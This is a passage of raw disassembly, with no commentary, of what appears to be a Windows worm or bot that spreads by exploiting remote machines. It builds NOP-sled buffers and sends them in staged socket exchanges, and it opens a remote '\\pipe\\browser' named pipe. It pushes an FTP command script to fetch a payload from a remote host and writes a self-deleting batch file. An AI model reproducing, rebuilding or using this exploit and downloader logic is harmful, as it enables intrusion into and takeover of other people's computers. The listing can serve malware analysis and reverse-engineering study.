		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	ecx, [esp+440h+var_434]
		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467A4
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_446904
		mov	ecx, dword_446908
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_4468F8
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		call	sub_5F76F7
		nop
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461C8
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_44621F
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_446223
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_446227
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510108
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445EC8, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465BC[edx*8]
		rep stosd
		mov	edi, offset loc_445E18
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E18
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_4468F0
		mov	edi, offset loc_445E18
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E18
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E18
		rep stosd
		mov	edi, offset loc_445E18
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465BC
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi	; recv
		push	0
		push	68h
		push	offset dword_44622C
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi	; recv
		push	0
		push	0A0h
		push	offset dword_446298
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi	; recv
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446450
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464BC
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446530
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		call	near ptr 71AB615Ah
		nop
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_44633C
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463BC
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		call	near ptr 2850369h
		nop
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FB0
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_44603C
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_4460E8
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		nop
		call	near ptr 71AB9639h
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 2850369h
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		nop
		call	near ptr 71AB2B66h
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	edx, dword_44964F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx	; _snprintf
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		nop
		call	near ptr 2850369h
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx	; _snprintf
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469AC
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51010C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C24
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_44695C
		rep stosd
		mov	eax, dword_446C1C
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_44698C
		lea	edi, [esp+69Ch]
		mov	ax, word_446C18
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_4468F8
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi	; _snprintf
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F30
		push	offset byte_448F30
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		nop
		call	near ptr 2880000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446910
		push	esi
		nop
		call	near ptr 2790000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		call	near ptr 2850BF4h
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		call	near ptr 27F0000h
		nop
		test	eax, eax
		jnz	short loc_426458
		push	esi
		call	near ptr 2850BF4h
		nop
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C5C
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CC0, ecx
		lea	ecx, [eax+1]
		mov	dword_446CE1, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CD9, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CEF, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD0
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CD4
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD5
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CD9
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CDD
		mov	[ecx+8], esi
		mov	esi, dword_446CE1
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CE5
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
